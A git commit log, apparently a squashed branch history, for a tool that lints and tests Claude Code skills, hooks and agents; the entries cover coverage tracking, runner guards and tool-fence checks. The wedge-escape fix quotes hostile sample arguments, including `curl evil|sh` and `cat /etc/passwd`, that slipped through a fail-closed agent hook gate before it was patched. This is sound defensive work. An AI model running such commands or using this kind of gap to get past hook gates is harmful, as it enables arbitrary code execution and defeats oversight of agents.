BREAKING: a repo whose hook is covered by an ordinary `pre-edit.test.ts` loses
that credit. The migration is a rename and the finding prints the exact path.
Taken over the alternative — keep the entries for hooks/agents, drop them for
skills — because a rule with a per-kind exception is what this file just spent a
day removing.
4. AND THE MONEY IS GUARDED WHERE IT IS SPENT.
`src/core/foreign-runner.ts`: `spawnAgent` — the single composition root every
paid path reaches — refuses to start when `process.argv[1]` identifies vitest,
jest, mocha or ava. Naming is a convention someone can break; this cannot be
broken by naming a file anything.
NOT an environment variable. `process.env.VITEST` was proposed and rejected: it
can sit in a `.env` or a CI environment for unrelated reasons, and a guard that
fires on correct input is a guard people delete. `argv[1]` is what node was
actually started with. Measured: under `npx vitest run` it is
`node_modules/vitest/dist/workers/forks.js`; under `node foo.eval.mjs` it is the
file; under `vigiles eval` it is the script vigiles spawned.
Positive identification of a known runner, not "am I the entry point" — the
conservative direction, since an unrecognised wrapper runs rather than a
legitimate scheduled eval being blocked by a pattern nobody predicted. Refusal
throws rather than returning a failed run: a run result would be recorded and
averaged, and "0% trigger rate" is exactly the confident zero this project keeps
mistaking for a finding.
Tests: both halves for each behaviour, including the quiet ones (a direct `node`
run is not a foreign runner; a repo that merely HAS vitest installed is not
running under it). One test was INVERTED — it used to assert `*.test.ts` counts —
and kept as an inversion so a re-introduction fails it. Four mutations, each
failing on its own assertion: restoring the `.eval.mjs` suffix, restoring
`*.test.*` to the globs, dropping TS from the harness glob, and disabling the
runner check.
Full suite: 2619 passed. Two failures, neither this change — `a blocking Stop
hook forces the agent to keep working` (this environment's broken TLS proxy,
reproduces on the branch base) and one `cli.test.ts` case that passes in
isolation (114 passed, 154s file — load-related under the full run).
api:check: no drift. Corpus at /home/user/mine unchanged: 12 · 14 · 26.
* feat(coverage): write the test in the project's own language — TypeScript detected, config only to disagree
`.harness.ts` is now accepted (previous commit), but both places that NAME a test
still hard-coded `.mjs`: the untested finding ("add e.g. …") and the generator in
scaffold-test.ts. A TypeScript project was told to add a JavaScript file.
`core/test-file-ext.ts` decides once, and both sides read it — a generator that
writes `foo.harness.ts` while the finding says `foo.harness.mjs` teaches the
reader that the tool disagrees with itself. A test pins that they cannot drift.
DETECTION FIRST, CONFIGURATION ONLY TO DISAGREE — the Rails/Next posture the rest
of this rule already takes. A `tsconfig.json` or a `typescript` dependency is
enough; `testExtension` in .vigilesrc.json exists for what detection cannot get
right (a monorepo with mixed packages, a JS project carrying a stray tsconfig, a
deliberate choice to keep tests in JS).
🔴 `init` DOES NOT WRITE THE FIELD, on purpose. A value recorded at
initialisation goes stale in silence: the project migrates to TypeScript six
months later and the config still says otherwise, with nobody remembering it is
there. Detection re-runs every time; an empty config means "I agree with all of
it".
Two decisions worth their measurements:
- `.ts`, not `.mts`. Measured on Node 22.22 in BOTH package kinds: a `.ts` file
using `import` runs in a package with `type: module` and in one without it —
type stripping detects module syntax rather than trusting the package type. The
`.mts` special case a careful reader expects here is not needed. `.mts`/`.cts`
stay accepted (they are real, TS 4.7+) but never generated.
- `.mjs`, not `.js`, for the non-TypeScript default: `.js` in a package without
`type: module` is CommonJS, and every generated test uses `import`.
A nonsense `testExtension` is IGNORED rather than honoured or thrown on: writing
`foo.harness.rb` because somebody typed `rb` produces a file no runner executes,
and the finding would then point at a path that can never satisfy it.
Tests: 8, including the quiet halves (a dependency merely NAMED like typescript
does not count; a malformed package.json decides nothing rather than throwing).
Two mutations, each failing on its own assertion: ignoring the config field, and
trusting any value it holds. api:check: no drift.
* feat(audit): a harness test named `*.test.*` is run by OTHER people's runners
Measured 2026-08-11, not reasoned about. A fixture holding nothing but
`package.json` and `.claude/skills/foo/foo.test.mjs`, then `npx vitest run`
at the repo root: `Test Files 1 passed (1)`. Vitest descended into the
dot-dir and executed the file. The assumption that "it lives under `.claude/`,
so other tools leave it alone" is simply false -- vitest's `defaultExclude` is
`["**/node_modules/**", "**/.git/**"]` and nothing else, read from the
installed package, so every dot-dir except `.git` is fair game.
Not cosmetic, because a harness test is not a unit test: it calls
`runHarnessTest` / `measureTriggerRate`, which spawn an agent. A foreign runner
that collects one spends model budget silently, in CI, on every push. The
`*.eval.*` tier is the paid one by definition, so a file carrying both an eval
name and a foreign test name is the expensive case and the message says so
outright rather than filing it under "runs unexpectedly".
Easy to walk into because vigiles ITSELF blesses these names --
`DEFAULT_TEST_SUFFIXES` accepts `.test.ts` / `.test.mjs` / ... as valid harness
tests. Our own `*.harness.mjs` / `*.eval.mjs` match no third-party default;
`*.test.*` matches all of them. The fix is therefore always a rename.
Patterns quoted verbatim from the packages on disk, not from memory:
node_modules/vitest/dist/chunks/defaults.*.js
**/*.{test,spec}.?(c|m)[jt]s?(x) (defaultInclude)
**/*.{test,spec}-d.?(c|m)[jt]s?(x) (typecheck; --typecheck only)
node_modules/jest-config/build/index.js
**/?(*.)+(spec|test).?([mc])[jt]s?(x)
**/__tests__/**/*.?([mc])[jt]s?(x) <- by LOCATION; no suffix needed
The `-d` glob is quoted but NOT matched: a plain run ignores it, so reporting
it would flag files nothing collects. The two name globs differ where it
matters and both are honored -- jest's prefix `?(*.)` is OPTIONAL, so a bare
`test.mjs` is jest-only, and naming the wrong tool would send the author to
configure a runner that never ran the file.
Deliberately NOT a config parse. Reading `vitest.config.*` / `jest.config.*` /
`package.json#jest` to learn whether this repo overrode its globs means
evaluating dynamic JS, following `extends`, and resolving monorepo layers --
false confidence in both directions. A filename does not lie, and the finding
claims only what is true regardless of any config: a DEFAULT run collects this.
Scope is the harness surface dirs (skills/agents/commands/hooks, in both the
plugin and the `.claude/` user shape), derived from `PluginLayout` rather than
hard-coded. `src/foo.test.ts` is an ordinary project test and none of our
business; flagging it would make the warning fire on every repo with tests.
A warning in the existing report -- no new verb, no new flag -- and NOT scored,
like the merge-conflict finding next to it. A grade must not move because of
what someone named a file beside a hook: this is a hazard in how the repo meets
OTHER tools, not a fact about how the harness was designed. Nothing starts or
stops counting as coverage. In both scan engines, or the byte-parity gate
fails; findings are sorted in plain codepoint order (not `localeCompare`, which
would make a byte-compared report depend on the machine's locale).
The message is class-level about agent spend, not a claim about the specific
file. The check reads names only, so it cannot know whether a given file drives
an agent or is a pure offline test -- the one in the wild
(`verify-cites.test.mjs`) is pure, and "this spawns an agent" would have been an
overclaim on it.
Both halves everywhere -- fires on the defect, silent on a healthy corpus --
and seven mutations, each failing on its own assertion: drop the `__tests__`
location branch; drop the surface-dir scope (ordinary project tests get
flagged); make jest's optional prefix mandatory (bare `test.mjs` missed); widen
the extension set (`.test.json` / `.test.md` flagged); drop the eval money
sentence; drop the sort; add our own suffixes to the name glob (the
clean-corpus half stops being silent).
Verified on a real corpus outside this repo (`vigiles audit ~/mine`): one
finding, `.claude/skills/verify-citations/scripts/verify-cites.test.mjs`.
`npm test`: 2584 passed, the one pre-existing failure being
`harness-test.test.ts > a blocking Stop hook forces the agent to keep working`
(broken TLS proxy in this env). `api:check` green -- the new module is
internal, reached from the scanners, not re-exported.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(gitignore): `node_modules/` with a trailing slash does not ignore a SYMLINK named node_modules
Self-inflicted, and it wedged the checkout for a few minutes — worth the entry
because the mechanism generalises.
WHAT HAPPENED. Two agents were deliberately separated into `git worktree`s to
stop them overwriting each other. A worktree has no `node_modules`, so I linked
it: `ln -sfn /workspace/vigiles/node_modules /tmp/wt/node_modules`. Then a
routine `git add -A` in that worktree TRACKED the symlink, because
`.gitignore`'s first line is `node_modules/` — a trailing slash matches
DIRECTORIES ONLY, and a symlink is not a directory to git. Merging that branch
back replaced the real `node_modules` directory with a symlink pointing at
itself: every command died with ELOOP, `npm run build` "succeeded" only because
the grep for `error TS` found nothing in an empty stream, and the tree looked
fine to `git status`.
THE FIX is the missing slash. `node_modules` matches the directory and the
symlink; nothing else in this repository can be named that.
Recovered with `npm ci` — the npm registry is reachable from here even though
git's TLS is not, which is the same asymmetry that keeps the GitHub API working
while `git push` fails.
The general shape, for whoever hits it next: an ignore rule written for the
common form of a path stops applying the moment somebody creates the same name
in a different form, and the failure surfaces far away — in a merge, in another
checkout, as ELOOP rather than as "you committed node_modules".
* test(site): regenerate the browser-parity fixture for the engine changes in this branch
The committed expected report still described the previous engine, so the
parity test failed on CI with a field-level diff that reads like a real
Node-vs-browser divergence. It is not: both sides agree, and the fixture is
what is stale.
Regenerated with the documented procedure (`node site/scripts/gen-parity-expected.mjs`,
which formats through prettier so the result does not redden `fmt:check` later).
The diff is exactly the two intentional changes and nothing else:
coverageEvidence {declared, colocated, mention} → {executed, colocated}
Safety finding per-unit "inherits all tools" → the aggregated
`disallowed-tools:` wording, since `allowed-tools:` was
measured to be pre-approval rather than a fence
⚠️ NOT verified locally: this environment's Playwright has no
`chromium_headless_shell-1228`, and installing browsers here is disallowed, so
the browser suite cannot run. CI is the check.
* test(eval): cover the foreign-runner guard through the composition root
The 100% gate failed on exactly two lines — `eval.ts` 386-387, the wiring that
reads `process.argv[1]` and throws. The pure helpers were unit-tested next door;
what nothing proved was that `spawnAgent` actually calls them, and wiring is the
half that silently rots.
The test works because of where it runs: under vitest `process.argv[1]` is
`…/node_modules/vitest/dist/workers/forks.js`, so the guard fires by
construction. Asserting the throw costs nothing and spawns nothing — and it is
the same property the guard exists for, exercised rather than described.
* fix(coverage): a rerun that drops a surface must withdraw the coverage it claimed
Reproduced before it was fixed, on a two-hook fixture driven through the real
CLI (now `src/cli-coverage-record.test.ts`):
run 1 t.harness.mjs runs hooks/a.sh -> coverage.json: hooks/a.sh
edit t.harness.mjs now runs hooks/b.sh
run 2 coverage.json: hooks/a.sh, hooks/b.sh
vigiles lint: "2 MEASURED BY A RUN"
`hooks/a.sh` is execution-tier covered by a run that no longer exists, and it
stays that way forever: `mergeRuns` starts from every previous record and can
only overwrite keys present in `next`, and staleness is keyed to the SURFACE's
text -- rewriting the test does not touch the hook, so the record never even
goes stale. The tier whose whole reason for existing is "answer by execution,
not by name" was answering by a name that ran once, in the past.
The sharper half is the empty case: a harness emptied of its assertions reports
NO probes, so there is no key to overwrite at all and merging can never reach
it. `recordRunCoverage` also returned early on "nothing new to record", which
is precisely the run worth writing down.
Fix: a run retracts as well as records. `mergeRuns` takes the scripts that
executed and drops their previous records BEFORE the new ones land, so what a
run says about its own script replaces everything that script said before,
including silence. Scoped to (script, tier) -- the merge key minus the surface
-- so a run can only ever withdraw what its own scripts claimed:
- a script that was NOT run keeps its records (`vigiles test one.harness.mjs`
must not erase the suite);
- the free per-push tier never withdraws what the paid scheduled tier
measured, same reason the merge key already carries the tier;
- the parameter is optional, so a caller that cannot say which scripts ran
gets the old merge-only behaviour rather than silent deletions.
A SKIP is the one status that is not an execution (`executedScripts`): the
deterministic tier skips when `claude` is absent, and dropping a record because
today's machine lacks a CLI would delete a measurement taken on the machine
that had it. `fail` and `vacuous` DID run and established nothing, so their old
green records must not outlive them -- the same rule `runsFromResults` already
applies when refusing to write one.
"Absent artifact = today's behaviour, exactly" survives: nothing to add and
nothing withdrawn means the file is not touched, so a fresh clone still gets no
artifact and a green no-op run does not churn the timestamp.
Both halves per behaviour, and seven mutations each failing on its own
assertion: restore the defect (`kept = previous`); drop the tier from the
retraction key (both halves, since desynchronising one is degenerate); retract
every previous record instead of the scripts that ran; drop `norm()` from both
sides (a Windows-recorded `by` becomes unretractable); count a skip as an
execution; have the CLI forget to pass the executed set; restore the CLI's
early return; drop the CLI's no-op guard (a repo that exercises nothing starts
getting an artifact).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(doc-commands): a global or sticky filter must not skip every other command
Reproduced before the fix, on a block of four `curl` lines:
commandsIn(md, /curl/) -> 4 ["…a", "…b", "…c", "…d"]
commandsIn(md, /curl/g) -> 2 ["…a", "…c"]
commandsIn(md, /curl/y) -> 2 ["…a", "…c"]
`RegExp.test` advances `lastIndex` on a global or sticky regex, so testing a run
of matching lines with the SAME object alternates hit, miss, hit, miss. The
damage is downstream and silent: half the document never enters the set that
`mustInclude` / `mustNotInclude` judge, so the rule reports "all 2 command(s)
include --cacert" over a file with four, and a ban goes green over commands it
was never shown. `/curl/g` is what a caller writes without thinking about it,
and a flag that changes WHICH commands are checked is the worst possible
meaning for it.
Fixed by building the filter fresh without `g`/`y` rather than resetting
`lastIndex` per line: the caller's regex is theirs and may be in use elsewhere
(a reset would mutate it), and a non-global regex has no state left to reset
wrongly -- the ability goes rather than the symptom. `y` is dropped for a second
reason: sticky ANCHORS the match at `lastIndex`, so `/curl/y` against
`sudo curl …` finds nothing, which is not what "matching" means here. Every
other flag is preserved, `i` included.
Both halves: /g, /y and /gi now return exactly what a plain /curl/ returns
(with the plain result asserted as the control), and the caller's `lastIndex`
comes back untouched. Four mutations, each failing on its own assertion: use
the caller's regex directly (the defect); strip `g` but keep `y`; drop all
flags (case-insensitivity silently stops working); reset `lastIndex` once
before the loop instead of removing the statefulness.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(check): a restricted `Tool(...)` declaration must match the base tool it names
Reproduced before the fix, on a skill whose frontmatter says
`allowed-tools: Bash(git:*), Read`, against a trace of Skill + Bash + Read:
agent used tool(s) outside its declared set: Bash
(declared: Bash(git:*), Read, Skill)
`Bash(git:*)` is the ordinary way to write a narrow grant, and `skillContract`
hands that literal string to `onlyTools` -- while a trace only ever carries the
base name `Bash`, because that is what the harness reports. Set membership
therefore missed, and every legitimate Bash call was reported as outside a
declared set that literally lists Bash. The failure is self-refuting on its
face, so nobody debugs it; they delete the check. And it fired on precisely the
authors who did the right thing and narrowed their grant.
Fixed with the `split("(")` normalization the rest of the codebase already
applies to tool declarations (core/tool-contract.ts, core/lethal-trifecta.ts,
core/delegation-trifecta.ts) -- kept as a local one-liner because the testing
pillar does not otherwise depend on the linting core. The declaration is still
ECHOED verbatim in the message and kept verbatim in `SkillContract.declared`:
an author who wrote `Bash(git:*)` must read back what they wrote, and the
restriction is what `lethal-trifecta` parses.
What this does NOT start claiming: that the command really was a `git` one. A
trace names the tool, not the grant it was matched against, so `Bash(git:*)` can
be held to "no tool outside the declared set" and no further. Narrowing beyond
the base name reads the grant rather than the run, and that is
`disallowed-tools:` + `lethal-trifecta`'s job. Said outright in the doc comment
so the check is not mistaken for one.
Both halves: the declared-and-narrowed call passes AND `WebFetch` is still
caught, so normalizing did not turn the white-list into a pass-all -- asserted
at both layers, on `onlyTools` directly and end-to-end through a real
`SKILL.md`. Two mutations, each failing on its own assertion: drop the base-name
normalization (the defect, failing both layers); print the normalized form in
the message instead of the declaration as written.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the documented `testExtension` config was read by nothing
Reproduced before the fix. A repo with a `tsconfig.json`, one untested skill,
and this `.vigilesrc.json`:
{ "rules": { "untested-skill": ["warn", { "testExtension": "mjs" }] } }
$ vigiles lint
skill .claude/skills/demo/SKILL.md — add e.g. .claude/skills/demo/demo.eval.ts
`TestCoverageOptions.testExtension` documented itself as coming from
`.vigilesrc.json`, but `TestCoverageConfig` -- the shape the three `untested-*`
rules actually accept -- had no such key, and `checkUntestedSurfaces` forwarded
only `testGlobs` and `exclude`. So the escape hatch that exists precisely for
the cases detection gets wrong (a mixed monorepo, a JS project carrying a stray
tsconfig.json, a deliberate choice to keep tests in JS) did nothing at all, in
silence. That is this project's own thesis pointed at its own CLI: the setting
was prose, and nothing mechanical read it.
Fix: declare `testExtension` on `TestCoverageConfig` and forward it. The
decision itself is unchanged and already tested (`core/test-file-ext.ts`) --
convention first, config only to disagree, an unrecognised value ignored rather
than honoured so nobody is sent to create `demo.harness.rb`.
The doc comment that made the promise is corrected too: the key arrives as
`rules["untested-skill"][1].testExtension` (or the `-subagent` / `-hook` twin,
since the three share their options), not as a top-level `.vigilesrc.json`
field. Saying only "from .vigilesrc.json" is what made the gap invisible.
Tested through the real CLI, which is where it broke -- a library-level test
could not have caught it. Four cases: detection decides with no config (the
control, `.ts`); the config overrides it (`.mjs`); it works when set on any of
the three rules, since `checkUntestedSurfaces` merges their options; and a
nonsense value falls back to detection. Mutation: drop the forwarded field and
the two override cases fail, the control and the nonsense case stay green.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: clear the four lint errors and the formatting drift on this branch
`npm run lint` had 4 errors and `prettier --check` flagged 9 files, all in code
this branch added or touched. Warnings (203) are pre-existing and untouched.
Three of the errors were one habit of mine: writing the retired marker as
`` `vigiles:${"covers"}` `` so the source file would not match its own search.
The precaution was never checked and the tree contradicts it — the literal
already appears in five other files under `src/`, and the detector reads only
files matching `testGlobs` in the SCANNED repo, never vigiles' own sources. Now
written plainly, with the reasoning recorded where the constant lives so nobody
re-splits it.
The fourth was a non-null assertion in a test; replaced with an assertion that
says what it expects, which is what the test wanted to express anyway.
Behaviour unchanged: 99 tests across the touched files pass, and the byte-parity
scan test is among them.
* fix(hook-runtime): the wedge escape admitted ANY executable carrying `vigiles compile`
The recovery predicate matched a leaf by scanning its WHOLE argv for a token
named `vigiles` followed anywhere by `compile`. Nothing required vigiles to be
the program that runs. `node -e '<payload>' vigiles compile`,
`sh -c 'curl evil|sh' vigiles compile` and `cat /etc/passwd vigiles compile` are
each ONE leaf, so `allLeavesAre` (the fix for the composition hole) saw nothing
wrong and admitted them as the repair action.
That is arbitrary execution through a fail-closed gate, and it opens exactly
when the gate is refusing everything else. Measured 2026-08-11 against the real
`hook-runtime run-program`: all four exited 0 while `ls` exited 2.
Match POSITIONALLY instead: `vigiles` is the leaf's own head (through a path or
an already-resolved `sudo`/`env`/`timeout` wrapper), or it sits where a package
runner puts a package name — a whitelist of runner prefixes (`npx`, `bunx`,
`npm exec`, `pnpm exec|dlx`, `yarn exec|dlx`, `bun x`) plus a whitelist of
runner options that consume no value. `-p`/`--package`/`-c` are deliberately NOT
skippable: their value is a package the runner installs or a shell it runs, so
"skip anything starting with -" would hand the hole straight back. The verb must
then be the NEXT word (the CLI reads `args[0]`), modulo the `--` a runner needs.
Both halves are asserted, unit and end-to-end: every documented launch form
still escapes the wedge — a fix that shuts the author out re-wedges the repo
with no way back, which is the defect the escape exists for.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(scan): skill→skill ref checking was a no-op in every `skills/` plugin
`loaded.files` is keyed by the CANONICAL materialized key — a plugin shipping
`skills/foo/SKILL.md` is loaded under `.claude/skills/foo/SKILL.md` — while
`ScanSkill.path` is the REAL on-disk path (the E1 remap). The report looked
contents up by the latter, so in the ordinary published-plugin layout every
lookup returned `undefined` and every skill was dropped before the check ran.
Measured 2026-08-11 on one fixture, moved between the two roots with
byte-identical content: 2 broken refs reported under `.claude/skills/`, 0 under
`skills/`. This repo's own skills live under `skills/`, so the check has never
run on the flagship either — a checker that is present and finds nothing, which
is the failure class the tool exists to catch in other people's harnesses.
Build the sources from the canonical keys instead (`skillRefSources`), remapping
only the path that goes in the MESSAGE, so a finding still names a file the
reader can open. Both report builders, since the parity gate holds them
together.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): an ambiguous probe granted execution coverage to the copy that did not run
When two discovered surfaces share a name — a skill shipped at `skills/foo/` and
overridden at `.claude/skills/foo/` — a transcript reference `plugin:foo`
resolved to BOTH, and `recordsFrom` wrote a record for each. Exactly one of them
ran, so the shadowed copy was credited with execution coverage it never earned
and the artifact asserted something false.
Returning both was documented as the conservative choice; it is the opposite.
Dropping loses a real record for the copy that did run — recording both INVENTS
one, which is the substitution this whole tier exists to remove, and it
contradicts the rule the tier already follows for a ref it cannot resolve.
The command branch had the same hole through its basename fallback, plus one of
its own: the three shapes it accepts OVERLAP, so with both hooks discovered the
fully-qualified ref `.claude/hooks/pre.sh` was an exact match for one and a
`/`-suffix match for the other. They are now a ladder — exact, then suffix
(longest surface path wins), then basename — consulted top-down, so a precise
ref stays precise and only a genuinely ambiguous one drops.
Reported by Codex on 357c3e6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a `./`-spelled run could not retract what the bare spelling recorded
The retraction set added yesterday keys records by the script that wrote them,
and `norm()` only swapped separators — so the same file spelled two ways was two
keys. `discoverScripts` passes an argument naming an existing file through
VERBATIM and only globs otherwise, so `t.harness.mjs` (glob) and
`./t.harness.mjs` / an absolute path (typed) are all ordinary spellings that
reach `by` as written.
Measured 2026-08-12 on the two-hook fixture:
vigiles test → record `by: t.harness.mjs`
(empty the harness)
vigiles test ./t.harness.mjs → `hooks/a.sh` still "1 MEASURED BY A RUN"
That record never expires either: freshness is keyed to the SURFACE's text,
which rewriting the test does not touch — the exact "false coverage that cannot
go stale" this tier exists to remove, re-entered through the spelling.
The same split has a second symptom on the merge key: running once by
`./t.harness.mjs` and once by the default glob left TWO records for one script.
So both keys go through `canonicalScript` — fixing only the retraction would
have left the duplicate standing.
`canonicalScript` collapses separators, `./` and `..`, and relativises an
absolute path when the caller can say where the repo root is (`recordRunCoverage`
can, and now does). Relativising from a fixed root is injective, so two different
files can never collapse onto one key — an absolute and a relative spelling meet
only when they name the same location. A first draft carried a guard keeping
escaping paths absolute; mutating it away changed no test because it could not,
so it was removed rather than shipped as decoration.
Both halves are covered at both levels: unit (`./`, absolute, `..`, one-record
merge) and end-to-end through the real CLI, plus the quiet half — a DIFFERENT
script, and an unrelated absolute path, still retract nothing.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(cli): the edit-time nudge ignored the `untested-*` config its own linter obeys
`evalLockNudgeHookCommand` called the coverage detector with `basePath` alone, so
it read the DEFAULTS whatever `.vigilesrc.json` said. Measured 2026-08-12 through
the real built CLI on two fixtures:
rules: { "untested-skill": false }
lint → prints nothing
nudge → "nothing measures whether it still does what it claims"
rules: { "untested-skill": ["warn", { testGlobs: ["**/*.check.mjs"] }] }
lint → "all 1 surface(s) have a test or eval"
nudge → "no test or eval covers it"
A hook that contradicts the linter of the same repo, in the same second, is worse
than one that says nothing: it teaches the agent that both are noise. And a rule
the author explicitly switched off must not come back through a hook.
The config reading is extracted into `untestedRules`, now the ONE reader for both
callers, so the two cannot drift again: per-kind severities (a kind set to
`false` arrives as `skills: false` and is not scanned) plus the shared
discovery options merged from whichever of the three rules carries them.
No separate "is anything enabled" gate at the nudge: the disable already travels
inside the options, and a mutation removing that second gate passed every test —
i.e. it would have been a branch nothing could distinguish from its absence.
Tests drive the real CLI's PostToolUse entry point and assert lint and the nudge
AGREE in both directions — a configured `testGlobs` that ADDS coverage, and an
`exclude` that removes it — with the no-config control so a fix that merely
silenced the hook cannot pass.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(eval): the `node --test` guard entry was a path that cannot exist
The runner table carried `["node --test", ["node_modules/.bin/node--test"]]`,
added by analogy with the npx-installed runners and never measured. Node's test
runner is a FLAG on node, not an installed binary, so nothing under
`node_modules/.bin/` can appear in `argv[1]` — the entry could not fire under any
invocation. The paid tier stayed reachable from `node --test` for the whole life
of the guard, while the table read as though it were covered: a legacy harness
named `*.test.mjs` (a name Node's own default patterns collect) spent real model
calls on every push.
Measured 2026-08-12 (Node 22.22, a fixture printing its own process facts):
node --test foo.test.mjs
argv[1] = /abs/foo.test.mjs ← the TEST FILE, no runner in sight
execArgv = []
NODE_TEST_CONTEXT = child-v8 ← the only signal
node --test --experimental-test-isolation=none foo.test.mjs
execArgv = ["--test", …]
NODE_TEST_CONTEXT = undefined ← in-process: no child, no var
So the two modes need two different facts, and both are read.
This is NOT the `process.env.VITEST` idiom this file rejects. `VITEST` is a
user-visible convention that can sit in a `.env` or a CI job for unrelated
reasons — a guard reading it fires on correct input. `NODE_TEST_CONTEXT` is set
by NODE ITSELF in the child it spawns, and `execArgv` is the flag list node was
launched with (`--test` is refused inside `NODE_OPTIONS` — verified). The
distinction is recorded at the site so the next reader does not "fix" it back.
The other four entries were re-measured the same way and are all live — vitest
(forks and threads workers), jest (`.bin/jest`, jest-worker), mocha (`.bin/mocha`
and, under `--parallel`, `mocha/lib/nodejs/worker.js`), ava
(`ava/lib/worker/base.js`). Only the invented one was dead, and it is gone.
The test is END-TO-END: a real `node --test` over a file that calls the real
`spawnAgent`, in both isolation modes, plus the quiet half — a plain
`node foo.eval.mjs` against the REAL process facts is still not refused. A unit
test written from the same wrong belief would have agreed with the dead entry.
The child runs with an empty `PATH`, so a regression fails the test instead of
billing for it.
Reported by Codex on f942d8a.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(eval): probe for `--experimental-test-isolation=none` instead of assuming it
CI went red on a runner that cannot reach the branch the test covers: the flag
landed in Node 22, CI runs Node 20, and there it is not ignored but rejected —
`bad option`, exit 9 — so the assertion failed on a version mismatch rather than
on the guard.
Probed by asking the binary (`node --experimental-test-isolation=none -e ""`),
not by comparing versions: a version check works today and rots the moment the
flag is renamed or promoted out of experimental. Asking cannot rot.
The skip is LOUD — it prints which node it saw and which half of the guard still
ran. A quietly-skipped test is the exact failure this branch exists to remove:
silence that reads like a pass. Verified by forcing the probe to false: 2 passed,
1 skipped, warning printed; control run 3 passed.
The NODE_TEST_CONTEXT half — the one that matters for the default `node --test`
invocation — runs everywhere.
* fix(scan): a `*.test.*` under a surface dir is not proof it drives an agent
The foreign-runner check reported every test-looking file below a harness
surface dir and told its author to rename it to `*.harness.mjs`. On the author's
own repo that hit
`.claude/skills/verify-citations/scripts/verify-cites.test.mjs` — an offline test
of a pure reducer: no model, no network, not one vigiles import. Following the
advice would have taken a working test out of that repo's vitest run. That is
not noise, it is a harmful instruction.
The premise ("a harness test calls `runHarnessTest`/`measureTriggerRate`, which
spawn an agent") is true of harness tests and false of that file, and nothing
checked which one it was reading. The message had already been softened to a
class-level claim, which is the tell: softening the wording does not fix a false
positive; withholding the finding does.
So the premise is now measured per file. A finding needs evidence — the file
names an agent-driving vigiles API (`runHarnessTest`, `runEval`,
`measureTriggerRate`, `scriptModel`, …) or its name declares the paid tier
(`*.eval.*`) — and the message quotes that evidence back instead of describing
the class. `runHook` is deliberately NOT on the list: the no-capability tier
spawns no binary and bills nothing, so telling its author to rename is the same
bad advice one tier down.
`read` is a required parameter with no default. A default would be a silent
fallback to "assume it drives an agent" — the name-only rule again — and an
engine that forgot to pass one would reintroduce it with no compile error. Both
engines pass it (disk read / map lookup) and both treat unreadable as no
evidence, so the byte-parity gate still holds; the parity fixture regenerated
identically.
Verified on the real corpus: scanning `/home/user/mine` printed that warning
before and prints nothing after. Four mutations, each failing its own assertion:
drop the gate · count `runHook` · use `\b` instead of identifier lookaround ·
drop the eval-name evidence.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(trifecta): an explicit `disallowed-tools: []` is an attempt, not a missing line
The doc contract on `skillTrifectaIssue` already said the two states differ —
"an explicit empty list still denies nothing, but the message should not tell an
author who wrote the line that they didn't" — and the code then merged them in
one condition. Reproduced: a skill declaring `disallowed-tools: []` was reported
as "No `disallowed-tools:` line".
The damage is routing, not wording. `fence: "none"` is swept into the
whole-surface aggregate ("N of M skills declare no tool fence"), while
`"ineffective"` keeps a per-skill line. So the one author who reached for the
field and got nothing back was the only one who never got told about it, and the
sentence they did get sent them looking for something they had already written.
Grading is untouched: both remain `"advisory"` and count once toward
`trifectaExposure`. An empty fence has capability equal to no fence, so moving it
must not score worse — that is the non-monotonicity this detector was fixed for
once already.
Unreadable frontmatter still reports as `"none"`: a strict loader parses no
block, so whatever it appears to declare denies nothing. That is not an attempt.
The vendor FP-guard added here covers this and the foreign-runner change on the
five SHA-pinned real plugins — neither new branch may fire on any of them, so a
change to how one state is ROUTED cannot silently re-bucket a real corpus.
Mutations, each failing its own assertion: fold `[]` back into `"none"` · treat
unreadable frontmatter as an attempt.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): stop suggesting a `.ts` test this repo has no way to run
`testFileExt` answered "is this project TypeScript?" (a `tsconfig.json`, a
`typescript` dependency) and never asked "can anything here RUN a TypeScript
script?". `interpreterArgs` asks exactly that and refuses without `tsx` or Node's
native type stripping. On Node 20 — which this repo's own CI runs, 20.20.2 — a
project with a `tsconfig.json` and no local `tsx` was told to add
`foo.harness.ts`, and `vigiles test` then threw `Cannot run TypeScript test
script` on the file the finding had just asked for. A remedy the tool rejects is
worse than no finding: the author does the work and is told no.
The capability probe moves to `src/ts-runner-caps.ts` (harness-agnostic: it is a
fact about Node and `node_modules`, not about a harness) so the suggester and the
runner read ONE predicate and cannot drift apart again. `run-scripts.ts`
re-exports it, so every existing importer is unchanged.
`undefined` means nobody measured and does NOT downgrade — the browser engine has
no Node to ask, and a caller who never looked must not silently push every
